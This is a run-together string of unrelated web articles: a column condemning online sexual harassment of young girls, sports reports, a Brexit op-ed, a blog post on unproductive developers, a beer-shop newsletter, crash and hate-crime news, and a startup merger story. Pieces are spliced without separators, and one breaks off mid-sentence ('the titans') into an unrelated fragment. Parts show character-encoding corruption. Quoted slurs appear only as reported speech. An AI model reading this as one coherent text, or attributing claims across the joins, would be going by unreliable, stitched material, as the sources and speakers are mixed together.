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worth of pre-Christmas promotions in the run up to "Black Friday" - the day after the American Thanksgiving holiday. In the US, it is the day the Christmas shopping season starts in earnest and retailers vie for the most eye-catching promotions.The war on 12-year-old girls An epidemic of high-profile trolling is a testament to how pathological misogyny is — and how early it begins Behold the scariest, most dangerous creature in America: the 12-year-old girl. Better shut her down. It's been an alarmingly terrible week for girls. There's been the sickening story of the death of Amanda Todd, whose odyssey of bullying and shaming began when she was a curious seventh-grader who responded to a webcam user's request for a "flash" of her young breasts. On the bright side, though, there was also the cheery news that vaccinations won't turn 11- and 12-year-old girls into dirty whores. That's got to be some form of possible advancement for female health, because "promiscuity risk" is still the No. 1 concern parents have about Gardasil, the vaccine against the HPV virus that can lead to cervical cancer. Great to know we live in a country where families are more worried about the imaginary risk of their daughters' sexual behavior than the real one of viruses and cancer. Advertisement: And then we've had those unavoidable, headline-grabbing creeps. On Thursday, Michael Brutsch, the 49-year-old Texan whom Gawker's Adrien Chen exposed last week as notorious Reddit troll Violentacrez, gave his first television interview on Anderson Cooper's "360." As Violentacrez, Brutsch was behind the (thankfully now defunct) subreddit Jailbait and had until recently been moderating his new pet Reddit project, Creepshots, a gallery of leering, surreptitiously shot photos of women. The "Violentacrez character," as Brutsch refers to himself, was also behind such provocative subreddits as Rapebait, Chokeabitch and Picsofdeadkids, and claimed he had sex with his stepdaughter. In other words, he's one of the grossest examples of our species we've currently got going. The self-described "creepy uncle of Reddit," who was dismissed from his job after his online alter ego was revealed, seemed embarrassed yet only marginally self-aware in his conversation with Drew Griffin as he humble-bragged, "There are hot-button topics that you can make a comment about and just enrage people … Apparently I have a gift for pushing buttons." At one point in the conversation, Griffin faced Brutsch and said of his behavior, "I'm a father. Of a daughter. I would be very mad at you." Brutsch's face at that moment was priceless, briefly flickering with the understanding that those drooled over girls in their underwear he posted all over Reddit are somebody's daughters. Then the light went off again. "All I can say is that I'm sorry. I have made mistakes," he said, before adding, "Reddit encouraged and enabled this sort of behavior, and I shouldn't have been a part of it. Nobody on Reddit really had anything to say about it at all. Since then, I have come to understand that there are situations where things are inappropriate … I am to some degree apologizing for what I did … I was playing to an audience of college kids. And you know, when two years ago, when all of this was at its height, the audience was appreciative and supportive of the sort of gallows humor that I put out there." Brutsch is a grown-ass man who has made his own choices, choices that creatures with opposable thumbs would generally find repugnant. Yet when he showed off the gold-plated Reddit bobblehead award he received "for making significant contributions to the site," he was offering very real evidence that in addition to being a singular, walking piece of vomit, he's also undeniably a bro in a community of fellow dirtbags. He existed, and thrived, because he had the encouragement to do so. And if you require any further proof, read Soraya Chemaly's nausea-inducing Huffington Post piece on "The 12-Year-Old Slut Meme and Facebook's Misogyny Problem." In it, she takes on Facebook's famously blind eye to pages that intimidate and exploit underage girls, notably the "12-Year-Old Slut Memes" page that's so chock-full of hilarity about pubes and virginity that it gives new meaning to the word "gag." It's the brainchild of two self-described 19-year-old males, and to get a sense of the tone, consider a post from last month declaring "Fuck all you people that had a cry and reported us because we put your slutty fucking photos up, got fucking banned from facebook for a while you cunts, had to make a new account. If you post slutty fucking shit on facebook expect your photo to end up on here, then tagged in, then ripped to shreds by 120 thousand people. Chaos will continue. Go die." There you go, girls. Doesn't get clearer than "go die." Advertisement: What is it about young girls that's so incendiary? That could make "Jailbait" for a time the second most popular search on Reddit, that would ever put the words "12-year-old" and "slut" together? This BS – this dehumanizing crap – can't just be chalked up to the inherent budding attractiveness of youth and freshness. This goes way, way beyond that particular can of worms. I think it has a whole lot to do with just how deeply engrained the hatred of women is in our culture. It's not a coincidence that it's right around the age of 12 that a girl begins to come to an understanding of her potential for power. Not just her sexual power. But her intellectual and physical mettle as well. She's still very much a child – a child in need of support and protection – but early adolescence is the beginning of a girl coming into her own as an independent person. With a brain and a body she's going to control. How terrifying that is for the hateful, misogynistic jerks of the world. (And I'm not letting sabotaging, self-hating females off the hook here for their bullying and divisiveness either; they're a huge part of the problem too.) They pick on girls because it's easier than dealing with adult women; that's how weak they are. I look at my own 12-year-old daughter and I see so much possibility in her. So much strength and wisdom and beauty. And some days, I feel like apologizing to her for everything on the Internet that doesn't involve tiny pigs. I wish I could write off the likes of Michael Brutsch as one isolated, disturbed individual. And he's exceptional; a king among trolls, to be sure. But he exists because there is a strong and vocal community of little creeps who are simultaneously aroused and hateful and scared to death of everything that a young girl represents. Who look at her and feel so bad about their own pathetic selves they want nothing more than to tear her down and make her feel ever worse about herself. My dear daughter, I am so sorry these morons are out there, and that you and your friends are in their cross hairs. That they don't see you as a person but a threat. But I hope they're right. I hope you and your friends grow up to be everything that scares the crap out of these idiots. I hope you all stay loud and strong and refuse to be pushed around by dirty weirdos hiding in their basements, anonymously trying put you down, rewarding each other with encouragement and bobbleheads. I hope you change the world. I hope you all can stay brave and autonomous and bullyproof and be their worst nightmare. Because they're been trying to be yours for way too long.Boston's center fielder initially took a step in when Michael Bourn drove a fly ball deep to center with Mike Aviles on first and one out. BOSTON -- After his team took a three-run lead in the sixth, Jackie Bradley Jr. wouldn't let the Indians cut into that edge in the next half inning. What looked like an extra-base hit for Cleveland and at least one run quickly turned into a double play for the Red Sox. BOSTON -- After his team took a three-run lead in the sixth, Jackie Bradley Jr. wouldn't let the Indians cut into that edge in the next half inning. What looked like an extra-base hit for Cleveland and at least one run quickly turned into a double play for the Red Sox. Boston's center fielder initially took a step in when Michael Bourn drove a fly ball deep to center with Mike Aviles on first and one out. View Full Game Coverage "At first, I thought he got jammed, and I started breaking in a little bit and realized it wasn't going to fall in front of me," Bradley said with a laugh after the Sox's 5-2 victory. Bradley immediately broke back and made an over-the-shoulder grab, pushed off the Green Monster with two hands and launched the ball on one hop to first baseman Mike Napoli, who came just a few feet off the bag to make the catch. Napoli had plenty of time to tap first and double up Aviles to end the inning. "I take pride in myself having a strong arm," Bradley said. "I work on it daily. Do a lot of long toss, so I'm willing to throw with the best of them." Bradley had a scary-looking collision with that same wall two weeks ago against the Rays. A ball bounced directly off the Monster on the fly and hit him square in the nose before he crashed and fell onto the warning track. The 24-year-old said collisions with the wall never linger in his mind. "I think it depends on the person. For me, I'm getting back out there," Bradley said. "Fall down, get back on the horse." Bradley hasn't made an error in 518 1/3 innings this year, has six assists and has started four double plays.If you think the Bruins are in dire straits, I encourage you to Google the dumpster fire that is the Edmonton Oilers. Perennial cellar dwellers, Edmonton is apparently cleaning house. Yesterday they fired head coach Dallas Eakins, and according to TSN’s Darren Dreger, the team could be willing to move 2010 first overall pick Taylor Hall — selected one spot ahead of former Bruin Tyler Seguin. I'm surprised this has generated such a reaction. Oilers need help in so many areas. Everything must be considered. — Darren Dreger (@DarrenDreger) December 16, 2014 The Bruins have no identity and need help in many areas, so should Taylor Hall be considered? And if so what would it cost? 98.5 The Sports Hub’s Adam Jones investigates. Listen below! The Bruins will try and turn around their misfortunes Tuesday night in Nashville when they take on the 19-8-2 Predators. Dave Goucher and Bob Beers will have the coverage starting at 7:30pm right here on 98.5 The Sports Hub! MORE BRUINS COVERAGE FROM CBS BOSTONThe White House was hoping that the president's impromptu address of the Skip Gates saga on Friday would effectively sweep the issue under the rug. They didn't get their wish. The first eight questions for White House Press Secretary Robert Gibbs during his sit-down with Fox News Sunday centered on Gates' arrests and the comments Barack Obama had made earlier in the week, when he said the Cambridge Police Department had acted stupidly. Had Gibbs prepared Obama "for a question about Henry Gates' arrest" before that Wednesday night presser, fill-in host Bret Baier wanted to know? "Did he read the police report beforehand?" he asked as a follow-up. "Did he determine that he was going to take sides to back his friend to the extent that he did Wednesday night?" Has he scheduled a time to get a beer with Gates and the arresting officer (which Obama had suggested might happen)? Does the president still think this was a case of racial profiling? Did he - Robert Gibbs - suggest during Friday's daily briefing that the Fraternal Order of Police was acting politically when he noted that the group had endorsed John McCain in the 2008 election? Why bring up the endorsement at all, Baier asked, when Gibbs noted he was just responding to a question of who the Fraternal Order of Police had backed in the election. And, finally, had the president been compelled to address the Gates issue on Friday because of the news conference held earlier in the day by the Cambridge police officers, in which those officers demanded a presidential apology?UPDATE 2016-12-25: This post has an important follow-up. At some point in every software developer’s career, we work with someone who does negative work. The notion of negative work may sound a little strange. Someone can do no work by just… not working. How does negative work happen? One example of this is an awful developer that was once at the same company as me. He made 2 changes to the code base over his 6-month tenure there. These changes just flat out did not work and broke other features in the product. His third code change was to undo the previous changes he had made. Sounds like he just did zero work. Except that multiple people also encountered his errors. They had to track down whether the bugs they were seeing were the result of their work or someone else’s. They had to discuss fixing the issue with him. They had to help determine that none of the code changes were worth fixing and that the team was better off deleting those changes. The end result was a few dozen hours wasted across the entire team. This developer did zero work AND reduced the productivity of others. There are many other examples of this. I’ve encountered many developers who can write code that works… but it ends up being so convoluted that other developers had to spend a significant amount of time trying to understand it. Granted, trying to understand code that someone else wrote is always a little time consuming. But the degree of how difficult something is to understand matters. Here’s some quick math to help visualize how this can work: Bad Developer spends 5 hours writing convoluted code. Other 4 developers on the team each spend 10 hours each trying to figure out how it works. Net loss: (4 * 10) + 5 = 40 + 5 = 45 hours spent Good Developer spends 10 hours writing easier to understand code. Other 4 developers on the team spend 1 hour each trying to figure out how it works. Net loss: (4 * 1) + 10 = 4 + 10 = 14 hours spent Difference: 45 - 14 = 31 hours These numbers also rise exponentially. I’ve seen code so bad that it took a good developer 2 weeks to complete a task that objectively should have been 2 hours if the code was written better. The 2 hours is also being generous. That task could have taken 30 minutes if good software design was used originally. An even more egregious form of negative work is a developer who is stuck using out of date programming practices AND has a large amount of influence at a company. These developers hate learning new things and having their workflow be different. They abuse their influence to keep processes at their companies the same so that they don’t have to learn new things. As a consequence, other developers on the team are negatively affected. I once worked at a company where we were investigating a new way to integrate the work different developers had completed. The method we were using was taking us hours every time we needed to do it. At the time we did this twice a week. We were convinced the new method would have brought it down to minutes. However, one influential developer didn’t like any kind of change and they were allowed to veto any forward progress. It took 6 months to finally go through with it at which point that developer had to be largely ignored. 4 hours * 2 times a week * 26 weeks = 208 hours wasted over 6 months Ouch. That is 5 weeks worth of working hours for a single person. Can you imagine if you just did nothing for 5 weeks? If those weeks were just a waste of your life? Fortunately those 208 hours were distributed among more than a dozen people, but it is still a terrible situation. This was also only one example at that company. The attitude that prevented progress in this one area also prevented progress in many other areas. A lot more time was wasted in other out of date practices. That leads into the human cost of developers who do negative work. Most people want to feel a sense of accomplishment when going to work. They want to feel like their time was spent on something worthwhile. For developers that means delivering software that brings value. Wasted time prevents that. Most of us also want to work with talented people. Working with someone who is a burden on the team is an emotional drain. They act as an obstacle to our success. They can also make us feel less value in the work we do. The job market for developers makes it very easy for developers to solve this problem: finding another job. This is obviously an undesired outcome for a company. So if the cost of a developer who does negative work is so high, how do they get hired? Part of it can be explained by an interview process that needs improvement, but a less talked about part is the temptation to lower hiring standards. Sometimes a company is in a situation where a lot of work needs to be done very quickly. If there are not enough developers in the company to accomplish that goal, then more developers need to be hired. Since developers have the advantage in the job market today, it can take quite a bit of time to make a good hire. That is when the temptation to lower hiring standards appears. When the amount of work is overwhelming, some people hire in a panic. They think having more bodies in the office can only contribute to more work getting done. That is far from the truth. Not all developers will bring positive value to your team. I understand the pressure of tight timelines, but hiring in desperation won’t solve that problem. It’ll make it worse. Bad developers will not only slow you down, but they can cause your great developers to leave your company. You will be even further behind on your project than if you hadn’t hired anyone. I would love to hear from you if you have experiences with bad developers that you would like to share! UPDATE 2016-12-25: This post has an important follow-up.Wrong-way driver dead after crash with SUV of A&M students A wrong-way driver on U.S. 290 was killed in a collision early Sunday morning when he hit a Jeep filled with Texas A&M students returning to College Station. Jon Fontana was driving a silver Toyota Camry eastbound in the westbound lane of U.S. 290's 30600 block at about 2:30 a.m., according to press release from the Harris County Sheriff's Office. Fontana collided head-on with a Blue Jeep Liberty driven by Denise Martin, the release said. Fontana died in the crash. Martin and her passengers - Scott Baumgarten, Sarah Lemay and Kingsley Franklin - were transported to Memorial Hermann Texas Medical Center for treatment, according to the release. Reports are that their injuries are not life-threatening. The crash is under investigation by the Harris County Sheriff's Office Traffic Enforcement Division.Hi <<First Name>>, It's Tripel Hop time! Get the new, freshly released Duvel Tripel Hop 2014, this time made with the new American hop Mosaic! For the past few years, we've seen these beers fly off the shelf, the Citra version, the Sorachi and now the Mosaic... don't miss out on this treat! About Duvel Tripel Hop Duvel is traditionally brewed with two hop varieties, but the once a year release of the Duvel Tripel Hop is brewed with three hop varieties and each year the third hop is changed to provide its own unique taste and aroma. This keeps the final flavor profile surprisingly exciting for any true beer lover. For 2014 their brewers selected the exotic hop Mosaic from the USA. Characteristics By using three instead of two hop varieties to brew, it obtains additional hop aromas and an increased bitterness. The typical Duvel palate is enriched with Mosaic hops providing fresh notes of tropical fruit and an intriguing, blueberry flavor. Mosaic hops are added again during â€˜dry-hoppingâ€™, extracting additional hop aromas into the beer. The higher aromatic intensity rounds out the beer, backing the final alcohol content of 9.5%. Get Duvel Tripel Hop Right here! We've always offered a constantly growing, changing and selected range of Belgian beers, well, since the late 1970's, because that's what Cavedirect, and Beermerchants.com were founded on! Belgian beer, is a bedrock brewing and drinking scene that today is much imitated, but hardly beaten when it comes to their staple classic styles, and the ones we love, like Gueuze, Sour ales, and now seeing the influence they have shown America returned in Belgian brewers using American hops for twists on their classics. It's all to easy to glance past some of the best beers in the world, heading to the lastest from America or the UK, but we have to remind ourselves of the classics, the ones that inspired and the ones that you can go back to all the time and enjoy the quality and consistency, and history, with ease. We've repleneshed the shelves with classics fom De Ranke, Het Anker, Beersel, Malheur and many more... Belgian Beers are all here! Rodenbach Rodenbach was a brewery and a brewing family from Roeselare, Belgium. The brewery is now owned by Palm Breweries. It is noted for its production of barrel-aged sour beers in the Flemish tradition. In 1821, the four Rodenbach brothers (Pedro, Alexander, Ferdinand and Constantijn) invested in a small brewery in Roeselare, in the West Flanders province of Belgium. The brothers agreed to a partnership for 15 years. At the end of this period, Pedro and his wife, Regina Wauters, bought the brewery from the others and Regina ran the business while Pedro served in the military. Their son Edward later took over the brewery (1864) and, it was during his directorship that the brewery saw great growth. Edward's son, Eugene, took over in 1878 and, in preparation for this position, travelled to England where he learned how to ripen beer in oak barrels and then mix old and young beers. It was this that became the method of producing beer that Rodenbach became famous for. We've always worked hard to keep a range of Rodenbach beers, and other flemish sour red ales, since it's a beer style we all particularly enjoy here at Beermerchants.com - we've even got Rodenbach in cans, and their fabulous Vintage single foeder release, as well as the mega popular Charactere Rouge. Read more about Rodenbach Right here Malheur In a country with beers named after the Devil, or called "Sudden Death", one called "Misfortune" (Malheur, in French) is just another wry jest. The beer itself is no joke. On the contrary, it is an inspired beer. Malheur is made in a new, revivalist, brewery. Its founder, Emanuel "Manu" De Landtsheer, opened the brewery to restore his family's brewing tradition. They had for five generations been involved in a brewing business that traced its origins to the 1600s. Their original brewery closed just before World War II. The family continued to grow hops until the 1970s. Their home is in the little town of Buggenhout, on the road from Aalst, one of Belgium's hop-growing centres, to the historic city of Mechelen (which is between Brussels and Antwerp) Malheur Brut Malheur BiÃ¨re Brut â€œÃ la mÃ©thode originaleâ€, oft called a Champagne beer because o fthis process typical to the classic sparkling wines of the Champagne region, is bottled and refermented up to three times in the bottle. Malheur has succeeded in developing a process whereby the yeast is collected in the bottleneck. The yeast is frozen and removed using the â€œdÃ©gorgementâ€ process whereby only the ambient pressure in the bottle is used to force the yeast out again. Malheur Dark Brut Different to the "normal" Malheur Brut, is the Malheur Dark Brut, with it's complex aroma of sherry, Madeira wine, vanilla and wood, and even Haagse Hopjes (slightly coffee and caramel flavoured sweets): this coffee flavour comes from the roasted malt. The secret of the oaky dry, balanced Brut flavour is in the beer barrels: Malheur Dark Brut is matured in young American oak barrels, specially charred for this beer. The bitterness is beautifully balanced with the tannin of the wood and just a hint of the sweetness of the alcohol and a dry aftertaste. Malheur are right here! Read on for more beer news!Photo by Flickr user Travis Rigel Lukas Hornung A North Carolina man was arrested this week after allegedly committing a hate crime while invoking President Donald Trump, the Miami Herald reports. Cops say Brandon Ray Davis was taken into custody for using his rented motorized scooter as a deadly weapon in an apparent attack on two men riding their bikes in the Florida Keys in February. The victims, Kevin Seymour and Kevin Price, say that Davis swerved up behind them on his scooter and started shouting homophobic slurs after they expressed concern about his driving. According to the victims, Davis yelled, "You guys are a couple of fags," "I bet you faggots voted for that bitch Hillary," and rounded out his tirade with, "You live in Trump country now." Police believe Davis, who was reportedly drunk, then rammed his scooter into the tail of Seymour's bike, knocking him off but not injuring him. The assailant fled the scene before cops could apprehend him, but the victims managed to take down the scooter's plate number, and police tracked Davis down from there. Davis was arrested in Oslow County, North Carolina, before being let out on bond Thursday. He is currently fighting an extradition warrant to Florida, where he faces a charge of aggravated battery with a deadly weapon with evidence of prejudice.IDEAS Wismayer is a writer and commentator based in London The Brexit earthquake has happened, and the aftershocks look likely to unsettle Britain’s political and economic life for months to come. Prime Minister David Cameron is off, hoist on his own petard. The country’s major political parties are in meltdown. Sterling has dropped, the economy is wobbling. Newspapers are reporting an epidemic of racist hate-crime. If social media is any guide, the national conversation remains a font of anger and recrimination. Whether you view Brexit as a victory for self-determination or a spectacular act of national self-harm, there is one thing that the campaign proved beyond doubt: referendums, as a device of government, are as crude as they are bitterly divisive. The lessons to be drawn from the last month of campaigning in Britain hold huge import for the future. In a time of growing political volatility, Brexit may be the first of many popular votes to affect Europe in the years to come. Within hours of the result, nationalist parties in France and The Netherlands were calling for E.U. referendums of their own. Scotland was pondering the prospect of a second vote on independence. Irish nationalists were demanding a border poll on a united Ireland. In Britain, as the inevitable destabilization of a Leave victory becomes real, a petition calling for a re-run of the Brexit vote has gained four million signatures. Tony Blair, among others, claims that a follow-up is a possibility, a proposition that threatens to imprison the U.K. in an infinite loop of democratic masochism. Across an increasingly fractured continent, we are witnessing the march of the demagogues, and referendums are their weapon of choice. It is time to call foul. The Brief Newsletter Sign up to receive the top stories you need to know right now. View Sample Sign Up Now Britain’s referendum wasn’t a triumph of democracy. It was an ugly populist fiasco—a race to see which side could achieve the right crescendo of anxiety and rage at the right time. How did such an important political question become so mired in hysteria and misinformation? The more obvious part of the reason lies in the polarizing nature of single-issue plebiscites. Presented with a binary choice, most voters will do little more than seek reinforcement for already immutable anxieties. For Britain, a country with a diverse multi-party political landscape, this has meant a taste of the bipartisan psychodrama that America is forced to wrestle with every four years, as its two-party system cleaves the electorate in two. But Brexit was worse than that. Everyone understood that a win for Leave would usher in seismic change. But the shape that change would take was so riddled with uncertainty that voters were able to graft on whatever issue most exercised their politics. Against a backdrop of economic austerity, fear of immigration and mercurial public opinion, Brexit provided a fertile breeding-ground for lies and half-truths to gain traction. Ultimately, this was a debate framed by symbolism, with “in” representing cohesion (or, if you were pro-Leave, vested interest and the neo-liberal agenda), and “out” representing self-reliance and national pride (or, if you were pro-Remain, isolationism and fear of outsiders). Once the battle-lines were drawn, and the respective canards embedded, truth took a back-seat to personality and emotion. Political dissemblance flourished. For Remain this took the form of hyperbolic warnings over what a future outside the E.U. would look like—of turbulence, war and economic catastrophe. The Leave camp countered with obscurantism and hollow sloganeering. Their vague but seductive mantra, “take back control,” stuck on repeat from the moment it was first uttered, invited anyone harboring a sense of grievance against “the establishment” to tie themselves to the Leave banner. This, more than anything, probably provided the key to swaying undecided voters. In a sprint for the line, the media’s hunger for sensational headlines allowed Leave to capture the salience and dominate the front-pages. Not only did this cocktail of uncertainty and tabloid speculation leave people divided, but it also left them frightened and vulnerable to allegorical news stories both at home and abroad. Polling may be an inexact science (most polls immediately preceding the vote predicted a win for Remain), but prevailing trends in the month before the vote suggested that the end-result could have hinged as much on external agency as political claim and counter-claim. The mass-shooting in Orlando, coming as it did at a time when the Leave campaign was betting the house on immigration, probably mobilized more support for Leave than a thousand speeches and editorials. The murder of Jo Cox, held up as a horrifying manifestation of nationalist hatred, appeared to stop the Leave momentum in its tracks. In the end, it wasn’t enough. But the very fact that it was part of the conversation—that Remainers like me awaited the identity of the arrested suspect with terrible foreboding in case he was foreign—demonstrates the extent to which the vote had become a crude competition between emblems and martyrs. It doesn’t require a degree in political science to postulate how much greater the Leave margin of victory might have been had the suspect turned out to be Polish or Romanian. Hell, it would have been different enough had he been from Pakistan. The Leave’s anti-immigration message had become so synonymous with the idea of foreign threat that it would hardly have mattered. By this point tribal group-think had taken over. In the televised debates, the tone was reduced to pantomime, with one half shouting: “Oh yes it is,” and the other shouting: “Oh no it isn’t,” with so much equivocation in between that it was impossible to tell who was lying, or even if they knew they were. As those debates raged, no one felt able to question whether a referendum that had increasingly lost its grip on reason should have been called at all. For a democratically-elected politician to criticize the inviolability of the public will is verboten. But how could one not question the public will in such a febrile atmosphere? As everyone started to retreat into their self-reinforcing echo-chambers, our collective capacity for rational decision-making had been fatally diminished. How else to explain why, in a talk-radio poll carried out in the immediate run-up to voting, an astonishing 46% of Leavers expressed their belief that a win for Remain would mean the result had been rigged? On polling day, the hashtag #USEPENS trended on Twitter, as conspiracy theories abounded that Cameron, or the establishment, or the free-masons, or whoever, might send people round with erasers to alter Leavers’ ballot papers. Far from celebrating the power of democracy, Brexit had somehow contrived to undermine people’s faith in its efficacy. The following day, after 72% of the British electorate had spoken, Google reported a spike in people asking the question: “What is the EU?” Never had Winston Churchill’s famous quote: “The best argument against democracy is a five-minute conversation with the average voter,” carried such chilling resonance. As we like to say in Britain: “what an utter shambles.” Presented now with the aftermath, commentators in Britain are picking through the detritus of a vote that has resolved little, and left behind a country more divided—and potentially more diminished—than before. Brexit, we now know, was a proxy. The result wasn’t about the European Union. It was a howl of inchoate grievance, a vehicle for malcontents to express their anger towards a status quo of which the E.U. was but one part. Proportionality be damned. In exposing, these fault-lines, and excavating others that we never knew we had, it has brought festering resentments to the surface. The E.U. can no longer be made scapegoat for the British government’s failures. That, at least, is something. But many are also left ruing the fact that it was ever allowed to happen in the first place. The phrases ‘Bregret’ and ‘Regrexit’ have become new buzzwords, as Leave voters queue up to confess they feel hoodwinked, sold on a false prospectus. The other half of Britain—the 16 million people who voted Remain—feel tyrannized by the slimmest of majorities. It might have been democracy, but it was democracy at its worst. After Brexit, many in Britain can only hope that our representatives in parliament will never pass the buck again. Contact us at editors@time.com.Wallapop and LetGo, two Craigslist rivals, merge to take on the U.S. market, raise $100M more Consolidation is afoot in the online classifieds space as two popular startups born in Barcelona are in advanced talks to merge operations in the U.S.. Wallapop and LetGo — which both provide platforms for consumers to post used items for sale and negotiate the sales offline — are combining their operations in the U.S. to scale up in competition against the likes of large incumbents like Craigslist and eBay, but also newer entrants into the same space, such as OfferUp, 5miles and Facebook’s Marketplace. At the same time the group has raised $100 million in additional funding from existing shareholders to build out the business. TechCrunch learned of the negotiations from sources close to the matter, and has confirmed it with further sources. The deal was formally announced on Thursday of this week. We contacted both Wallapop and LetGo, and both declined to comment. (And, while we were asking around for more information, we saw that Spanish publication Vanguardia also published news of this just before we did.) The U.S. business will be controlled by LetGo, with its team and platform the basis of the operation. Wallapop is the bigger company in terms of staff — but LetGo is a lot more popular in the U.S., as you can see from these stats from SurveyMonkey Intelligence: Before now, the companies have each both reportedly raised more than $100 million in funding to date. Wallapop has never publicly confirmed the amount it has raised, although our sources say it is $150 million with the company valued at over $570 million (over €500 million). Its investors include Insight Venture Partners and Accel. LetGo, meanwhile, is backed by South Africa’s Naspers, which also acquired a previous company from founder Alec Oxenford — the classifieds giant OLX. While both were founded in Barcelona, they have each found audiences in the U.S. market. LetGo calls New York its headquarters. Neither have disclosed user numbers but Wallapop reportedly has around 25 million downloads. One of the reasons that the two are merging, our sources tell us, is to compete better against both the big incumbent players, but also the wave of other upstarts in this market that are capitalising on the fact that the biggest online classifieds company, Craigslist, has been very slow to innovate. Key to that has been a mobile-first approach, giving users the classified experience in an app that is easy to browse and comes with geotagging and other localizing features. They include smaller outfits like 5miles, which has picked up investment from companies like Alibaba. And also bigger names like OfferUp, which in November last year confirmed a $93 million raise and millions of customers. And there are new plays from bigger and older players. They include Facebook Marketplace, which has been around forever but has quietly grown to be a threat, according to sources. Just the other week, Facebook moved to put a Marketplace link on the lower bar of its main Facebook mobile app — possibly it’s own mark of how it plans to go after this e-commerce market more aggressively. In this context, it seems like a very interesting coincidence that just the other week, eBay decided to disclose that Close5 has passed 7 million downloads. From Sell It to LetGo Last December Wallapop co-founder Agus Gomez officially confirmed rumors the company had made its first acquisition — buying New York based rival Sell It for an undisclosed amount. That deal is interesting in light of the links now reportedly being forged between Wallapop and LetGo in the US because Sell It co-founder, Fabrice Grinda, also co-founded OLX with Oxenford. “The big bet of Wallapop is to expand our business in the United States,” Gomez told TechCrunch in December, confirming the Sell It acquisition. “We started talking with Fabrice Grinda. [He] is one of the giants, the titans
from the blog. All dairy-free and delicious. And a bunch more new recipes will soon get added to my Ebook too.Dwight Howard wants to follow LeBron James' path to redemption The new Lakers center understands how the Cavaliers-turned-Heat superstar feels. The pressure increased when he boasted at a Miami Heat pep rally about "winning multiple championships." But when the Heat fell to the Dallas Mavericks in the 2011 NBA Finals, James couldn't escape scorn for his disappearing acts in the fourth quarters of games. It was only two years ago that James earned near universal scorn for hosting a one-hour show called "The Decision," in which he announced that he'd be leaving the Cavaliers to take his "talents to South Beach." LeBron James had just won his first NBA championship, and it deeply affected Howard in several ways. He cried because it provided another reminder that his own hopes of winning a ring had thus far fallen short. He also cried because it showed a clear path toward redemption. But that plot line soon faded away once James improved his late-game play and won his first NBA title this past season. As Howard enters his first Lakers season facing his own scrutiny, it's apparent he took notes. "I could tell it hurt him," Howard said on ESPN's "Sunday Conversation" regarding James' ongoing scrutiny. "It hurt me watching him be hurt. I was actually happy when I saw him winning the championship. I'm happy for him because I have been through a lot of the same things he's been through." At first, Howard looked at James' experience as a model on what not to do. Howard had grown frustrated with Orlando's early playoff exits and wanted a trade, but said he put heavy importance on avoiding the same fallout James had experienced. Yet that's exactly what happened. Howard says he waived his early-termination clause with the Magic last season before the trade deadline to keep Magic fans and the media happy. But reports circulated that Howard had asked the Magic front office to fire Stan Van Gundy. The former Magic coach confirmed that revelation to reporters before a morning shoot-around, mere moments before Howard entered the fray. Howard handled scrutiny on whether he was faking a back injury that would keep him sidelined for the postseason and admitted that his initial preference on moving to the Brooklyn Nets instead of the Lakers hinged on the ongoing comparisons between him and Shaquille O'Neal. "That was a team I wanted to go," Howard said of the Nets. "I felt like I could go there and write my own history. I was worried about what people would think. 'If you go to L.A. everybody's going to say you're like Shaq.'... And now I'm at the point where, so what? Who cares what people say? This is my destiny, this is where I wanted to be, this is what I wanted to do with my life." Howard professed love for Orlando and its fans, but those words may just ring hollow. He maintained that God will decide whether he stays with the Lakers past this coming season. Once he fully rehabs his back, Howard will have to prove that he'll properly handle the increased pressure in winning his first NBA title, fitting in with a star-studded roster and not becoming consumed with the Hollywood spotlight. "I have a chance to start over," Howard said. "This is a clean slate. I'm gonna do whatever I can on the court, off the court, to just show people that this is who I am. I haven't changed. I'm the same person. I love to have fun. I love to smile. I love to joke. But when I step on the court, I'm gonna have fun, I'm gonna joke — and I'm gonna dominate. That's how it's always been."BEREA, Ohio -- Ricardo Louis hasn't been here long, but he's already getting excited at the possibility of playing in head coach Hue Jackson's offense. "I have a feeling that he likes to go deep and make explosive plays," Louis said on Friday of playing in Jackson's system, "get the ball in his playmakers' hands and just make plays down the field." Louis, picked in the fourth round by the Browns (114th overall) knows a thing or two about big plays. He made a bunch of them during four seasons at Auburn, averaging 15.6 yards per catch in 2015 with a long of 56 yards. Louis biggest play -- the play he will always be remembered for by Auburn fans -- was his catch during the 2013 season of a tipped pass against Georgia on fourth down with 25 seconds left. That catch gave Auburn a 43-38 win and kept an improbable season going for the Tigers. "Oh man, that game was just a blessing for me," Louis said on a conference call after the Browns drafted him in April. "Being able to be a part of a magical season like that and making the plays to help propel us to the National Championship, SEC Championship and everything that came after that kind of helped me become the person I am today. I learned a lot of lessons just from that one play." That catch preceded, by one game, the kick six against Alabama, a play in which Chris Davis returned a missed field goal by the Crimson Tide 109 yards as time expired to beat the then-No. 1 team in the country. Auburn would ride those two miracles all the way to that season's BCS National Championship Game, which they lost to Florida State. "It was very big," Louis said on Friday of being a part of a season where everything seemed to go his team's way. "It was very magical to me because it was back-to-back, certain things that happened during the season, people were like, 'Whoa, that doesn't happen.' All that happened in one year, one team, and that was just from us wanting to win, finding ways to win, being hungry, like I said. It was a blessing to be a part of that." And, just because everything SEC and Cleveland Browns has to come back to Johnny Manziel, Louis said that it was a game against the eventual Browns first-round pick that let him know something special was happening. "I would say probably the Texas A&M game," Louis said. "That game we beat Johnny Manziel. He was the big Heisman winner and all that. We won that game. That's when we knew we could beat anybody after that game. When we started winning and winning it was like, 'Wow, we could go all the way.' And we did." All of that matters because Louis, whose Tigers won 12 games that season alone, is joining a team that hasn't won 12 games the last two years combined. The other thing Louis knows, though, is turning around the fortunes of a program. Auburn went 3-9 his freshman season, the year before their run to the title game. "Everybody was hungry," Louis said of the turnaround season. "The year before we went 3-9, had a bad taste in our mouth and we didn't want that to happen again. (Head coach Gus) Malzahn came in, jumped right in and he was hungry, too, and we just turned it around. We didn't want to lose. We wasn't into that anymore. We took it all the way. Unfortunately we lost in the (BCS Championship) game, but to turn around the program from 3-9 and not winning an SEC game was very big for us." Now, of course, college is over and it's proving time for Louis. Malzahn's offense at Auburn isn't exactly known for its pro-style elements. Louis, much like first-round pick Corey Coleman, has work to do to become a receiver at this level. The Atlanta Falcons, in fact, asked Louis if he would be willing to play defensive back and had him do defensive back drills at his pro day. "I would say that the Browns saw things from me that other teams didn't see," Louis said after getting drafted. "They understand that I was in a scheme at Auburn that didn't require me to run very many routes, very diverse or complex routes and the fact that I was not developed as receiver at the time. Going into the Combine, I wanted to prove to everybody that I was versatile and I was able to run routes and catch balls smooth and well. Doing that, looking ahead, they got to see that they can develop me and mold me into the receiver they want me to be." Louis will have plenty of competition at his position as he learns how to operate in an NFL offense. The Browns drafted four wide receivers, including two after him -- UCLA's Jordan Payton with the 154th overall pick 